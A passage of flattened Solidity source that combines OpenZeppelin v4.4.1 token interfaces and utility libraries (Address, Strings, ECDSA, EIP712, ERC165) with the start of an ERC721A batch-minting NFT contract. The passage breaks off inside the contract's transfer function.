(uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol) pragma solidity ^0.8.0; import "./ECDSA.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; address private immutable _CACHED_THIS; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _CACHED_THIS = address(this); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // Creators: locationtba.eth, 2pmflow.eth pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_ ) { require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = 